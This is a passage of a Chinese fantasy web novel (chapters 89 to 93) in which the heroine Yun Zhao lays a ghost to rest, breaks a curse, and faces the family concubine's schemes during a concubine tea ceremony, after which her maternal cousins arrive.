指尖过处,水面竟无风自动,泛起层层诡异的涟漪,一股阴寒之气随之弥漫开来,连周遭的空气都仿佛冷了几分。
“都退后些,”云昭叮嘱赵家众女眷,“生人贸然窥视亡魂,轻则霉运缠身,重则折损阳气。”
此言一出,赵家女眷们顿时花容失色。也不知是谁先“哎呀”一声,众人呼啦啦全躲到了云昭身后。
你拽我我拉你,挤作一团,又忍不住伸着脖子想瞧个究竟,那场面颇有些滑稽。
孙婆子将信将疑,挣扎着爬至盆边。
她恨极云昭今夜坏她好事,也不信她会有这么好心,可见女儿一面的渴望压倒了一切理智与怀疑。
哪怕这是一盆蚀骨毒水,只要有人说能从中见到小莲,她也会毫不犹豫地将脸埋进去!
当她颤抖着、几乎将整张脸埋进水中时,那干涸如死井的双眼骤然瞪大,浑浊的泪水瞬间决堤。
孙婆子嘶哑着嗓子哭喊道:“小莲!是我的小莲!你……你真的在!娘对不起你啊!”
水影中,一个极其模糊、仿佛由水汽凝结而成的少女身影微微晃动,嘴唇急切开合,却只发出一些不成语句的模糊音调。
“她说什么?我女儿在说什么?”孙婆子急切地抬头望向云昭,“仙姑,求求你告诉我!”
“亡魂之语,带有阴煞,生人耳窍无法分辨。”云昭平静地转述,“她说,让你收手。别再错下去了。别再为了她,去伤害那些无辜的女子了。”
孙婆子本能地摇头不信。
可就在这时,水中的小莲影像竟用力地、一下一下地点着头,那双模糊不清的眼眸中似乎充满了哀恳。
残缺的手臂艰难地抬起,朝着母亲的方向微微摆动,似在阻止,又似在告别。
“她的手!她的手怎么了?”孙婆子惊恐道。
“这便是使用邪术、强聚残魂的代价!那道人教你
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的法子,根本不能复活小莲,最终只会催生出一个吞噬至亲的怪物。而真正的小莲,将因这些恶业永世不得超生。”
“怎么会……怎么会这样……”孙婆子瘫软在地,绝望如潮水将她淹没,
“娘拼命赚钱,就想让你过上好日子,想给你寻个好人家,不再跟着我吃苦受穷。
娘剥你的皮,就像在剜自己的心呐!娘只是想你能活过来,我们母女还能团聚,怎会害得你连投胎都不能……”
水中的小莲影像也流下血泪,嘴唇再次张合。
云昭凝视着水面,一字一句,声音带着一种奇异的穿透力:“她说,她不怕没有家。有娘亲的地方,就是家。”
她顿了顿,声音微微低沉,“她还说,她去投胎,最放心不下的就是娘亲。若有来世,她还愿做你的女儿,再吃一碗你做的……糊涂面。”
“糊涂面”三字一出,孙婆子如被重锤击中,猛地怔住。
那是她们母女最艰难困顿时,捡来别人不要的烂菜叶,混着一点点粗面,煮出来的糊口之物。
富人家看一眼都会嫌恶地称之为“猪食”,却是她们无数个饥寒交迫的夜晚,相依为命的温暖记忆。
刹那间,所有的偏执与疯狂土崩瓦解。
孙婆子匍匐在地,嚎啕大哭,那哭声撕心裂肺,充满了无尽的悔恨与悲痛。
这一次,她终于确信,云昭没有骗她。
她挣扎着跪直身子,朝着云昭重重叩首,额头撞击青石地面,发出沉闷的响声:“求仙姑大发慈悲,送我女儿去投胎!所有的罪孽,所有的报应,都冲着我老婆子来!
千刀万剐,我一人受着!求求老天爷!开开眼吧!放过我的女儿……放过小莲吧!”
院中已是一片低泣之声,几位心软的女眷不住地用帕子拭泪。
就连座椅上刚缓过些精神的老夫人也开口道:“小仙姑,你就发发慈悲,帮帮这对苦命母女吧。
这孙婆子虽占了我的身子,这些时日却只是把自己锁在屋里,未曾作恶……老身感觉得到,她只是想借我这身份,去寻仇人讨个公道。”
云昭指节微屈,凝神推演片刻,方沉吟道:“我可以送小莲入轮回。但孙婆子,你需立下功德契,行一千件善事,以此消解你造下的业障。”
她目光转向形容枯槁的孙婆子,追问道:“那传你邪术的道人,现在何处?那些桃花符、同心符,可是他一并传授于你?”
孙婆子浑浊的眼中闪过一丝迟疑,刚张了张嘴,忽地浑身剧颤,唇角溢出一道发黑的鲜血,双眼猛然上翻,喉中发出“咯咯”的怪响!
第90章 兄长,又不是外人
云昭眸光一凛,倏然上前。
她并拢双指,连点孙婆子眉心、喉间、心口三处大穴,指尖竟隐隐泛起淡金光泽。
另一手迅速自袖中甩出三枚铜钱,成品字形钉入孙婆子周身地面,铜钱嗡鸣不止,仿佛在与某种无形之力抗衡!
众人只见云昭衣袖无风自动,额角渗出细密汗珠,显然正与人隔空斗法!
僵持约莫半盏茶功夫,她猛地咬破指尖,凌空画下一道血符,厉喝一声:“散!”
空气中仿佛传来一声极细微的碎裂声。
孙婆子浑身一软,瘫倒在地,虽气息微弱,性命总算保住,只是唇舌僵直,再发不出半点声音。
赵悉骇然上前:“这是……?”
云昭气息微喘,面色凝重:“有人早在她身上种下‘绝言咒’。一旦触及关键,便会触发咒术,顷刻毙命。
方才即便我不顾她性命强行逼问,那禁制也会在她开口前先一步取她性命。”
她垂眸看向瘫软在地、满眼绝望的孙婆子:
“孙婆子,你可愿从此追随于我?在我身边,你需改名换姓,斩断前尘,不可再生私心妄念。你所修**的玄术,从今往后,只能用于行善积德,赎你往日罪孽。”
重活一世,她太需要真正得用之人。严嬷嬷精于内宅,却不通玄妙;莺时、雪信忠心有余,却难窥此道门径。而这孙婆子,年岁虽长,旁人稍加点拨竟能领悟诸多复杂玄术,天赋实属罕见。
只可惜被出身所困,又为慈母之心所累,一步踏错,步步深渊。
正所谓:诛邪易,渡魔难。
以杀止恶,终是下策。引其向善,方为上法。
孙婆子口不能言,唯有泪水混着血水不断滚落。
她挣扎着撑起身体,朝着云昭“咚咚咚”连叩三个响头,额上皮破血流,眼中却是前所未有的清明与决绝。
云昭微微颔首:“随我来,先送小莲往生。”
孙婆子闻言,颤抖着从怀中取出一个用油布层层包裹的小包袱,小心翼翼地打开。
里面是几缕枯黄发丝和数片颜色暗沉的干瘪人皮。
云昭只看了一眼便摇头:“用不上这些。那人教你的,尽是损阴德、耗福报的邪法。从今日起,尽数摒弃。”
她顿了顿,看向孙婆子脖颈间若隐若现的一道黑线:“至于你身上的咒术,我会寻机缘为你化解。”
言罢,她命人备下香案清水,亲手点燃四柱线香。
香烟袅袅升起,并不散开,反而如灵蛇般在孙婆子周身缠绕三圈,最终汇于其眉心。
云昭口中念念有词,指诀变幻,众人只觉院中忽然掠过一阵极轻的阴风,带着一丝若有若无的莲花清气。
而在孙婆子模糊的泪眼中,只见一道穿着翠绿衣衫的窈窕身影,微笑着朝她挥了挥手,身影逐渐化作点点柔和的光晕,最终消散在温柔的夜风里。
孙婆子顿时泪如雨下,伏地痛哭,那哭声虽沙哑无声,其中的悲恸与释然却感染了在场每一个人。
云昭又吩咐取来火盆,教赵家众人跨火盆以祛除沾染的阴晦之气。
她执笔蘸墨,写下一张安神调养的方子,又绘了一道符箓给林氏,让她化成符水给老夫人饮下。
赵家众女眷此刻已将云昭团团围住,热络地将她迎进花厅,你一言我一语,好奇地询问着各种玄妙之事。
这时,刚恢复些许精神的老夫人竟嚷嚷起来:“嘴里淡出鸟来了!快!给老身斟酒来!”
众人皆是一愣,随即哭笑不得,目光齐刷刷地望向云昭。
云昭见状,不由莞尔,轻轻颔首:“少量饮些,无妨。”
是夜,云昭带着莺时与口不能言的孙婆子在宁国公府歇下。
承义侯夫人林氏亲自指挥下人收拾出一间洁净雅致的套房,言辞间对云昭感激不尽:
“姑娘此番恩德,赵家没齿难忘。日后若有任何需要,尽管开口,但凡我能做到,绝不推辞。”
云昭浅浅一笑,眸光微转,似不经意般提起:“说来,明日我府上倒有一桩‘喜事’,国公夫人若得闲,或许可前往一观。”
“哦?是何喜事?”林氏好奇问道。
云昭唇边笑意浅淡,眼底却无甚温度:“是我父亲要纳梅氏为妾,行纳妾之礼。”
*
次日,姜府。
姜绾心对着菱花镜,指尖轻抚着自己恢复光洁的脸颊,眼中满是惊喜与不敢置信:
“娘亲!既有这样灵验的丹药,您为何不早些拿出来?平白让女儿受了这许多苦楚!”
梅柔卿的脸色却比昨日更显灰败。
胸口那处袖箭造成的伤口虽不深,却正中心口的檀中穴,每一次呼吸都牵扯着隐痛,仿佛有根无形的针在不断刺扎。
她强忍着不适,扶住女儿的肩膀,语气是从未有过的严厉:
“你记牢了!这丹药只能暂时压制你体内的恶咒,并非根治之法!且药性霸道,绝不可贪多!待娘亲找到彻底化解的法子……”
“还要找什么法子?”姜绾心蹙起秀眉,不满地打断,
“娘之前不是断言,女儿昏迷是因宋姐姐所赠的药膏有问题?可后来不是也请了仁济堂的大夫验看,证明那药膏并无不妥吗?”
她眸中闪过怨毒的光,斩钉截铁道:“要我说,这恶咒根本就是姜云昭那个**下的!
还有三房那个上不得台面的小蹄子,平日里见了我连头都不敢抬,昨晚竟敢动手打我!必定是受了姜云昭的指使!”
她透过镜子,看向梅氏苍白憔悴的脸,语气带上了几分怂恿与急切:
“娘!您不是精通咒术吗?何必再费心寻什么别的法子?直接将我身上这劳什子咒术,转嫁到姜云昭身上不就行了!”
“糊涂!”梅柔卿低声斥道,“哪有你想的那般容易!你那个好阿姊,心思深沉,手段狠辣,岂是那么容易着道的?”
姜绾心眼珠一转,又生一计,声音压低,带着狠意:
“那……就把咒术转给望舒苑那个病秧子!她昨日不是逼着爹行这纳妾礼来羞辱您吗?让她也尝尝这浑身溃烂、痛痒钻心的滋味!”
梅柔卿闻言,沉默了下来,胸口因压抑的怒意而更觉憋闷疼痛。
她何尝不想对苏氏下手?简直恨不得那**立时毙命!
可姜云昭昨夜虽不在府中,却早有布置——
不仅调了二十名京兆府衙役牢牢守住望舒苑,更不知用了什么手段,竟在整个院子周围设下了无形的屏障!
她暗中尝试了两次,法力皆如泥牛入海,反震得她气血翻涌。那望舒苑,如今真真儿是固若金汤!
就在这时,房门“吱呀”一声被猛地推开,丫鬟翠芯慌慌张张地跑了进来,额上还带着细汗。
梅柔卿正心烦意乱,见她这般失态,不由蹙眉斥道:“冒冒失失的,成什么样子!”
翠芯喘着气,一脸惶恐:“姨娘,小姐,奴婢方才……方才听院子里的人都在议论……”
“议论什么?”姜绾心心头莫名一跳,想起昨晚昏迷前,曾吩咐翠芯去府外
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打探消息。
翠芯哭丧着脸,几乎是带着哭腔道:“他们说……说昨日太子殿下回宫途中,孟贵妃两次站不稳,都、都跌进了太子殿下怀里!
陛下为此龙颜大怒,不仅将贵妃娘娘降为了嫔位,还勒令太子殿下在东宫闭门思过……
现在,现在满京城的人都在传,说、说孟贵妃肚子里怀的……是太子的种!”
“哐当!”
姜绾心手中的胭脂盒应声落地,摔得粉碎。
她猛地站起身,脸色煞白,声音尖利得变了调:“你说什么?!不可能!”
与女儿的惊怒交加不同,梅柔卿眸光剧烈闪烁,一时没有说话。
昨日在碧云寺山门外,孟氏“意外”跌入太子怀中时,那眼角眉梢暗藏的春情与眷恋,她可是瞧得真真切切。
这传言或许有所夸大,但绝非空穴来风!
至少,孟贵妃那个狐媚子,与太子之间定然不清白!
“我不信!殿下他……他不会的!”
姜绾心已然失控,泪水夺眶而出,又是跺脚又是摔打手边的东西,“定是有人污蔑殿下!是哪个杀千刀的传这等污糟谣言!”
“够了!”梅柔卿却突然厉声喝止她的哭闹,眼中闪过一丝异样的精光,“心儿,你的机会来了!”
姜绾心哭声一噎,茫然地看向母亲。
梅柔卿按住她的肩膀,压低声音,语气带着一种压抑的兴奋:
“太子如今遭此误解,圣心不悦,正是孤立困顿之时。
你若能在此时出现在他身边,细心宽慰,雪中送炭,还怕不能在他心中占据一席之地吗?”
姜绾心听得眼睛渐渐亮了起来,仿佛在黑暗中看到了一线曙光:“可是……娘,殿下如今闭门思过,我如何才能见到他?”
梅柔卿唇角勾起一抹意味深长的笑意:“你忘了你兄长了?”
姜绾心仍有些不解:“兄长自是疼我,可他不过是个从六品小官,连东宫的门都摸不着,能有什么法子?”
梅柔卿回想起昨夜提及“清微谷”时,云昭骤然冰冷的眼神和姜珩那一瞬间的慌乱与躲闪,心中已然有了计较。
她轻轻拍了拍女儿的手背,语气恢复了往日的从容与笃定:“放心,这件事,你兄长定有门路。”
不过半盏茶的功夫,姜珩便步履匆匆地赶到了梅柔卿居住的僻静小院。
他方踏入月洞门,目光便不由自主地被院中那道倩影攫住——
姜绾心正立在梨树下,一身藕荷色软罗裙衬得身段窈窕,晨光透过枝叶在她周身勾勒出柔和的轮廓。
姜珩呼吸一窒,心头涌上一股难以言喻的热流,他快步上前,声音因刻意压抑而略显沙哑:“心儿!你……你这是大好了?”
目光转向一旁的梅柔卿,带着几分不易察觉的感激,“还是姨娘有办法。”
梅柔卿幽幽一叹,愁容满面:“珩儿莫要被表象骗了,心儿如今不过是强撑罢了,内里的煎熬……半分未减。”
姜绾心没料到母亲竟会当着兄长的面直言此事,一时又惊又恼,娇嗔道:“娘!”
“傻孩子,你身上的苦楚,你兄长又不是外人,何必瞒着他?”梅柔卿语气恳切,目光却敏锐地捕捉到姜珩瞬间紧绷的神色和那泛红的耳尖。
姜珩闻言果然心急如焚,目光不受控制地在姜绾心周身逡巡。
见她裸露在外的肌肤光洁无瑕,身段更是比往日更显婀娜曼妙,那股悸动再次涌上,逼得他慌忙移开视线,喉结不自觉地滚动了一下。
第91章 读的是圣贤书,行的却是猪狗事!
梅柔卿将他这番情态尽收眼底,眸中略过一丝算计的幽光,她适时开口,声音带着几分凄楚:“心儿这是被人下了极阴毒的咒术。此法高明狠辣,连我也束手无策。”
她以帕拭泪,哀声道,“否则昨夜……我何至于拉下脸面,对着云昭那般卑躬屈膝、苦苦哀求?奈何她铁石心肠,见死不救……”
提及云昭,姜珩眼中立刻迸射出憎厌之色,切齿道:“那个毒妇!我迟早……”
“珩儿,”梅柔卿柔声打断他未尽的狠话,语气转为殷切,“梅姨记得,你与太子殿下有些交情,还认得他身边那位颇通玄术的玉衡小道长?”
她忧心忡忡地望了一眼姜绾心,继续道:“如今心儿被这古怪的咒术折磨,梅姨实在是心焦如焚……不知你可否为了心儿,去求一求太子殿下?或许,那位小道长能有化解之法?”
姜珩没料到梅柔卿会突然提及太子和玉衡道人,眸中闪过一丝明显的迟疑。
与东宫往来本就是敏感之事,更何况是为这等玄乎其玄的咒术……
“兄长……”姜绾心见状,立刻轻移莲步上前,柔软的小手轻轻拉住姜珩的衣袖,微仰起那张楚楚动人的小脸,眼中泪光盈盈,语带哽咽,
“求求你了,兄长!心儿身上时冷时热,仿佛有万千虫蚁在骨头缝里啃咬,真的好难受……除了兄长,还有谁能帮心儿……”
被她这般满含依赖与信任地凝望着,鼻尖萦绕着她身上淡淡的馨香,姜珩心头那点基于利害关系的迟疑,瞬间被翻涌而起的怜惜与保护欲冲得七零八落。
他看着姜绾心泫然欲泣的模样,想到她正在承受的苦楚,终于重重点头,声音低沉而坚定:“好。为了心儿,我愿去一试。”
姜珩的身影刚一消失在月洞门外,姜绾心脸上那副楚楚可怜的表情便瞬间收起。
她优雅地掸了掸袖口,唇角勾起一抹志得意满的弧度:“娘亲,您瞧,我就说过,兄长待我终究是不同的。”
梅柔卿却并无喜色,反而意味深长地看了她一眼,语气平淡无波:“他此刻疼你、护你,自是真心。可男人一旦成了家,娶了妻,心里便会被另一人占去大半。
届时,你这同父异母的妹妹在他心中,还能剩几分重量?”
姜绾心闻言,心头莫名涌起一阵尖锐的不适,像被细针扎了一下。她下意识反驳:“可宜芳县主家世显赫,与兄长正是门当户对……”
“心儿!”梅柔卿打断她,目光陡然变得锐利,“你已得了闻空大师批命,日后注定要入主东宫,一个区区县主的夫君,纵有些许权势,于你的青云路又能有多大助益?”
姜绾心一时语塞,迷惑地蹙起眉:“娘的意思是……不想让兄长娶县主?可这婚事对姜家……”
“他终究并非你的嫡亲兄长!”梅柔卿压低声音,语气带着一种冷酷的清醒,“若真让他娶了县主,与旁人生儿育女,组建自己的小家,他的心思、他所拥有的东西,自然会逐渐偏向自己的妻儿。
到那时,你这个妹妹,还能像如今这般,轻易牵动他的心神,让他为你倾尽所有吗?”
她走近一步,指尖轻轻拂过女儿娇嫩的脸颊,声音低得如同耳语:“你要记住,一个有能力、有野心的男人,若他能将全副心力都用于为你铺路,甚至为了你终身不娶——
那么彻底斩断其他羁绊,他对你的用处,才是无可估量的!
这其中的关窍,就在于你是否懂得,如何恰到好处地拿捏住一个男人的心。”
梅柔卿凝视着女儿渐渐恍然又带着羞赧的眼睛,一字一句,如同烙印般刻下:“你要让他永远觉得,你就在触手可及之处,却又仿佛隔着一层若有若无的纱。
让他倾其所有对你好,却始终得不到他最渴望的那样东西。
记住,得不到的,永远是最好的,也是最让人甘愿付出的。”
姜绾心只觉得脸上发烧,心如擂鼓,又是羞涩,又有一股难以言喻的兴奋与得意在血管里窜动。
从前母亲只教她要笼络兄长,要让姜珩成为她在姜家最坚实的倚仗;教她一心攀附东宫,对太子保持淑女风范又不失温柔驯顺。
却从未像今日这般,赤裸而直白地与她剖析这男女之间的幽微之道。
梅柔卿最后轻叹一声:“当年娘亲委身于你父亲,是形势所迫,别无选择。但你不一样,我的儿,你拥有比娘好上千百倍的机缘!
太子,姜珩,乃至将来你遇到的更多男人……他们都可能成为你手中的棋子,为你所用。
你务必牢记,男欢女爱,不过是镜花水月,过眼云烟。唯有真真切切握在你手中的权柄,才是这世上最可靠、最不会背叛你的东西。”
*
姜府这场纳妾礼,本该悄无声息、潦草收场。
连姜世安这个男主人,都一大清早便寻了由头躲出府去,摆明了要将这内宅的腌臜事,全数丢给两个“痴心”于他的女人自行撕掳。
然而云昭回府时,却并非孤身一人。
她身后跟着承义侯夫人林氏与英国公夫人郑氏,这两位身份贵重的女眷倒并非为观礼而来,只说是与苏氏叙旧饮茶,顺带聊起几日后丹阳郡公府的赏荷宴。
正厅之内,因有外客在座,气氛便多了几分微妙的紧绷。
苏氏端坐主位,神色平静无波。
梅柔卿一身水红色妾室服制,跪在冰冷的青石地上,双手高举过头,奉上一盏滚烫的茶水,指尖因用力而微微泛白。
她低垂着头,无人能看见她眼底翻涌的**与恨意。
“姐姐,请用茶。”声音温顺,却带着一丝不易察觉的颤抖。
一旁,姜绾心紧抿着唇,目光死死盯着那盏茶,仿佛那是烧红的烙铁。
姜珩则面色铁青,胸中憋闷。他本想寻云昭清算昨日之账,此刻却因有外人在场,只能强压怒火,冷眼旁观。
苏氏并不急于接过茶盏,她的目光在梅柔卿身上停留了许久,久到空气都仿佛凝滞,才缓缓伸出手——
“砰!”
就在此时,府门方向传来一声巨响,伴随着家丁惊慌的呵斥与一道清亮张扬的少年嗓音:
“我苏家女儿,何时沦落到要点头纳妾了?!”
话音未落,两道挺拔如青松翠柏的身影已闯入厅中。
为首的少年一身玄色窄袖劲装,腰束革带,足蹬黑靴,肩头甚至还带着风尘仆仆的气息。
他眉眼锋利,鼻梁高挺,唇线紧抿,周身散发着战场淬炼出的凛冽杀气,手中一杆红缨**顿地,竟无一人敢上前阻拦。正是苏家二房次子,苏惊澜。
与他并肩而立的,则是一位身着竹山书院青色儒衫的少年。
他面容与苏惊澜有八分相似,却气质迥异,眉眼清俊,书卷气十足,只是那双眸子此刻锐利如刀,扫过厅内众人,自带一股逼人的气势。这是苏惊澜的双生兄长,苏惊墨。
他们二人,按辈分该唤苏氏一声姑姑。
然而,这对兄弟从进门起,
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目光便刻意避开了主位上的苏氏。
多年前,苏氏执意下嫁姜世安,与家族几近**,此事一直是苏家众人心头的一根刺。
他们今日虽是奉了父亲之命前来,但心底对这位“为爱昏头”的姑姑,难免存着几分怨其不争的疏离与嫌弃。
苏氏在看清两人容貌的刹那,浑身剧震,手中茶盏险些滑落。
她嘴唇微微颤动,似有千言万语,最终却化作一声咽入咽喉的哽咽,黯然垂眸。
“哪里来的狂徒!竟敢擅闯朝廷命官府邸!”姜珩见来人如此无礼,当即上前一步,摆出世家公子的清高派头,厉声呵斥,“来人!将这不知礼数的东西给我乱棍打出去!”
“呵!”不等家丁动作,那青衣少年苏惊墨已冷笑出声。他上前一步,竟比手持**的兄弟气势更迫人,目光如冷电般射向姜珩:
“我当是谁在此吠叫,原是大名鼎鼎的姜状元!”他语速极快,字字如刀,
“你娘怀胎十月,九死一生生下你,你不知反哺之恩,半点不懂心疼娘亲!先前你亲娘被恶仆偷换,流落在外,你身为长子,不仅毫不知情,竟在公堂之上,认那卑贱侍女南乔为母!
哈——!堂堂状元郎,圣贤书都读到狗肚子里去了?如此不辨亲疏,认贼作母,你羞也不羞?臊也不臊?!”
他根本不给姜珩插话的机会,声音陡然拔高,言辞愈发犀利:
“如今,你娘已是陛下亲封的三品淑人!你的嫡亲妹妹,更得陛下亲赐凤阕令,光耀门楣!
你不好好侍奉娘亲、疼爱妹妹,反倒跟个上不得台面的私生女在自家门前拉拉扯扯,搂搂抱抱!
把外人的女儿当成宝,却对自己的血亲冷若冰霜!如今更舔着脸在此,眼睁睁看着你娘受这纳妾之辱!
姜珩,你读的是圣贤书,行的却是猪狗事!简直不配为人子,不配为人兄!”
这一席话,如同疾风骤雨,劈头盖脸,骂得酣畅淋漓,掷地有声!
姜珩几次张口,都被那密集的语锋堵了回去,一张俊脸由白转红,由红转青,额角青筋暴跳,却硬是找不到半句反驳之词。
偏偏对方所言,桩桩件件皆有所本,从他人口中道出,更显得他这个儿子无能昏聩,不孝至极!
上首处,苏氏早已眼角湿润,强忍着的泪水在眼眶中打转,却倔强地没有让它落下。
云昭站在母亲身侧,听着这字字诛心的痛骂,只觉得胸中一股郁气尽散,说不出的痛快解气!
她不由得多打量了这两兄弟几眼:
一个武艺不凡,英气逼人;一个口若悬河,辩才无双。
关键是,他们对母亲近来在姜府的遭遇竟如此了解!
恰在此时,那两位少年的目光也越过众人,落在了云昭身上。
尤其是那武将打扮的苏惊澜,被云昭清亮的目光一看,竟有些无措,小麦色的脸颊上迅速浮起一抹不易察觉的红晕,下意识避开了她的视线。
云昭看着他们那隐约透着熟悉感的眉眼,一个念头如电光石火般闪过脑海。
她试探着,轻声唤道:“表哥?”
她的目光从苏惊澜移到苏惊墨身上,带着一丝不确定,又带着一丝了然的亲切:“两位表哥?”
这一声轻唤,如同石子投入静湖。
不仅让绷着脸的苏惊澜耳根更红,连方才还言辞锋利、滔滔不绝的苏惊墨,也瞬间哑火,清俊的脸上掠过一丝被人戳破身份的窘迫与赧然,有些不自在地移开了目光。
第92章 滚烫茶水泼向梅氏!
姜珩见这两人气势稍敛,当即挺直腰板,厉声斥道:“我母亲早在十六年前便与你们苏家恩断义绝,京城谁人不知!你们两个黄口小儿,有何脸面擅闯我姜家府邸,在此狂吠!”
他目光如钩,死死盯在苏惊澜那身玄色劲装与腰牌上,冷笑道:
“看你这身打扮,是京城巡防营七品翊麾校尉吧!白日里不在营中当值,竟敢擅离职守,按军律当杖三十!我这就去兵部递帖子,看你这身官服还能穿到几时!”
姜珩自幼熟读律法,此刻引经据典,言辞锋利,句句切中要害。
苏惊澜闻言,脸色果然微变,握着红缨枪的手指收紧了几分。
姜珩见状,心中得意,又转向一旁的苏惊墨,语带讥诮:“至于你——竹山书院的学生?
呵,若我没记错,竹山书院已经整整七年没出过一个进士了。如今京城里稍有些脸面的人家,谁还肯把子弟送去那等破落户扎堆的地方?也就你们苏家,还把这么个穷酸书院当成传家宝!”
苏惊墨面色虽竭力保持平静,但眼底一闪而逝的黯然与**,却泄露了他被这番话深深刺伤。
站在一旁的姜绾心,原本见这两个少年郎英姿勃发,一武一文,竟都为云昭出头,心中妒火中烧。
此刻听到兄长将他们连同苏家贬得一文不值,顿时觉得畅快无比,不由嗤笑出声。
她声音娇脆,却带着毫不掩饰的轻蔑:“我当是哪路神仙来替姐姐撑腰呢?原来……是苏家那门‘鼎鼎大名’的破落户呀!”
她故意将“鼎鼎大名”四字咬得极重,嘲讽意味十足。
她这话音未落,只听“哐当”一声——
端坐在上首的苏氏手中茶盏猛地一颤,滚烫的茶水竟直直泼向了跪在地上的梅柔卿!
“啊——!”梅柔卿被烫得失声尖叫,猛地从地上跳了起来,狼狈不堪地拍打着衣裙上的水渍。
“娘!”姜绾心见状,也顾不得其他,惊呼着冲上前去。
苏氏紧抿着苍白的嘴唇,胸口剧烈起伏,握着空茶盏的手指微微发抖。
这时,一直静观其变的承义侯夫人林氏优雅地放下茶盏,缓缓开口:“心儿小姐是记在姜夫人名下的吧?莫非是我记错了?不然怎会当着众人的面,喊一个妾室作‘娘亲’?”
姜绾心脸色骤变。这些日子与梅氏在碧云寺朝夕相处,喊娘亲喊顺口了,方才情急之下,竟忘了遮掩!
英国公夫人郑氏也冷声道:“小小年纪,不但对嫡母不敬,还妄议嫡母的娘家,真是半点规矩都不懂!”
苏氏的脸色并未因两位贵妇的帮腔而好转,她望向厅中那两个挺拔的身影,声音微颤:“你们父亲他……”
“此事与苏家无关!”
苏惊澜与苏惊墨竟不约而同地向后退了一步,异口同声地打断了她。
苏惊澜别开脸,硬邦邦地道:“今日之事,纯属我兄弟二人看不下去!我们苏家的女儿,绝不能任人如此欺辱!”
苏惊墨也避开苏氏的目光,语气疏离:“夫人不必多想,我们不过是路见不平。”
他们句句撇清,字字如刀,割在苏氏心上。
当年是她一意孤行,伤了父母兄弟的心,如今又能怨得了谁?她眼眶一热,险些落下泪来。
就在这时,云昭轻笑一声,打破了这尴尬的沉默:“两位表兄何必如此见外?”
一她意味深长地瞥了姜珩一眼,从容道:“两位表兄是我特意请来,协助调查桃花煞一案的。怎么,兄长对此有异议?”
姜珩脸色一僵:“你何时认识的他们?!”他满脸不信。
云昭却嫣然一笑,语气轻松:“这京城拢共也没多大。更何况,是我有事相求于两位表兄。倒是兄长——”
她目光扫向浑身湿透、脸上已显出红痕的梅柔卿:“兄长这么大个人了,也该学会明辨是非。
旁人说什么就信什么,半点自己的判断都没有。小心哪天被人卖了,还乐呵呵地帮人数钱呢!”
“你——!”姜珩被她说得面红耳赤,却一时语塞。
“兄长何必动怒?”云昭语气轻松,甚至带着点理所当然的无赖,
“他们既是我的表兄,自然也算得上是兄长的兄弟。兄长方才那般失礼,若传扬出去,岂不让人笑话我们姜家待客无道,连基本的礼数都不懂了?”
她顿了顿,在众人惊愕的目光中,厚着脸皮,慢悠悠地抛出一记重锤:
“昨日父亲才教导过我,既是一家人,便是打断骨头也连着筋。
什么断亲不断亲的,不过是年少时一时意气用事说的气话罢了。
自家人关起门来,哪有隔夜仇?怎么兄长还当真了,非要分个清清楚楚?”
此言一出,满堂皆惊!
不仅姜珩和苏氏愣住了,就连站在堂上的苏惊澜、苏惊墨也目瞪口呆。
他们从未见过如此……厚颜的姑娘!
当年苏**与苏家**之事,闹得满城风雨,人尽皆知。
那般决绝情形,到了她嘴里,竟成了轻飘飘一句“年少时的一时气话”?
一直强忍疼痛与**的梅柔卿,此刻眼底的恨意几乎要溢出来!
姜云昭!
她怎么敢!她怎么敢如此轻描淡写!
当年她费尽心机,与那人里应外合,好不容易才让苏**与她那对偏心的爹娘彻底**。如今这丫头轻飘飘一句话就想抹平?
休想!
“这是怎么了?”姜世安的声音自院中传来。
姜珩闻声迎了出去:“爹——!”
云昭瞥了一眼主位上神色恍惚的苏氏,快步上前,不着痕迹地推了一把尚在怔愣中的苏家兄弟,低声道:“快走。”
她几乎是半推半引地将两人带离了正厅。
刚踏至庭院,便与闻声而来的姜世安迎面撞上。姜世安看清两个少年的面容,眉头当即蹙起,脸上浮现明显的不悦:“你们……”
“父亲。”云昭朝姜世安微一福身,语气从容不迫,“女儿正要去京兆府,有些关于桃花煞案的线索需即刻核实,这两位是关键的
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协助之人,女儿要带他们一同前去。”
姜世安将信将疑,目光在云昭与两个少年之间逡巡。
“父亲!他们分明是……”姜珩急切地想要揭露苏家兄弟的身份。
“好了。”姜世安抬手打断了他,目光扫过厅内——
失魂落魄的苏氏,一身狼藉的梅柔卿,以及两位面色不豫的勋贵夫人。
他久经官场,瞬间便猜到了七八分。
“快去快回。”他深看了云昭一眼,最终沉声道,“为父晚些时候,还有几句要紧的话,需单独与你谈谈。”
“是。”
姜世安也不再多言,转而堆起笑容,主动走向英国公夫人与承义侯夫人,热络地寒暄问安。
他久未蒙圣上召见,府中也门庭冷落多时,今日这两位贵客临门,意义非同小可。
他眼角余光不由自主地扫过苏氏:这个他冷落了多年的发妻,如今果然很有用处。
趁着姜世安应酬贵客,云昭迅速给了身侧沉默不语的孙婆子一个眼神,示意她留意厅内梅柔卿的动向。
随即,她便领着苏家兄弟,快步穿过庭院,走出了姜府大门。
到了府外街角,苏惊澜与苏惊墨互看一眼,脸上都带着几分不自在。
方才在厅内全凭一股意气,此刻冷静下来,面对这个多年未见、行事却出人意表的表妹,两人都有些拉不下脸来攀谈,只草草拱手一礼,便欲转身离去。
“两位表兄请留步。”云昭却出声唤住他们,郑重地敛衽一礼,“方才事出匆忙,还未正式请教两位表兄名讳。”
“苏惊澜。”
“苏惊墨,我是兄长。”
两人别别扭扭地还了一礼,动作略显僵硬。
云昭从袖中取出两枚折叠整齐、以朱砂绘制着繁复纹路的黄色符箓,分别递到两人面前。
她看向苏惊澜,神色认真:“我观二表兄眉宇间隐有血光之气,恐近日有险。这枚平安符,还请务必随身佩戴,或可化解一二。”
苏惊澜闻言一怔,随即唇角不受控制地微微翘起,露出一抹混合着惊讶与觉得好笑的神情。
他一个在军中摸爬滚打的武人,向来不信这些神神叨叨的东西。
但他看着云昭清澈而笃定的眼眸,终究没说什么,还是伸手接了过来。
云昭又转向苏惊墨,将另一枚符箓递上:“大表兄,这枚符咒,并非给你。烦请你设法,转交给外祖父他老人家。”
苏惊墨与苏惊澜俱是一愣。
云昭语气沉静,却带着一种不容置疑的力量:“我观你二人面相,承袭自外祖父的福德宫位隐有晦暗,三日之内,外祖父恐有灾劫。这枚平安符,无论用什么方法,务必让外祖父贴身携带。”
两人脸上同时露出为难之色。
苏惊澜更是忍不住,带着几分军中汉子的直率,嗤笑道:“小丫头,年纪轻轻别整天搞这些神神道道的玩意儿。”
他虽不讨厌这个表妹,甚至觉得她胆色过人,但对这玄乎其玄的一套,实在难以信服。
第93章 你是真小人,够狠也够贱!
苏惊墨虽未开口,但看其神色,显然内心所想与弟弟相差无几。
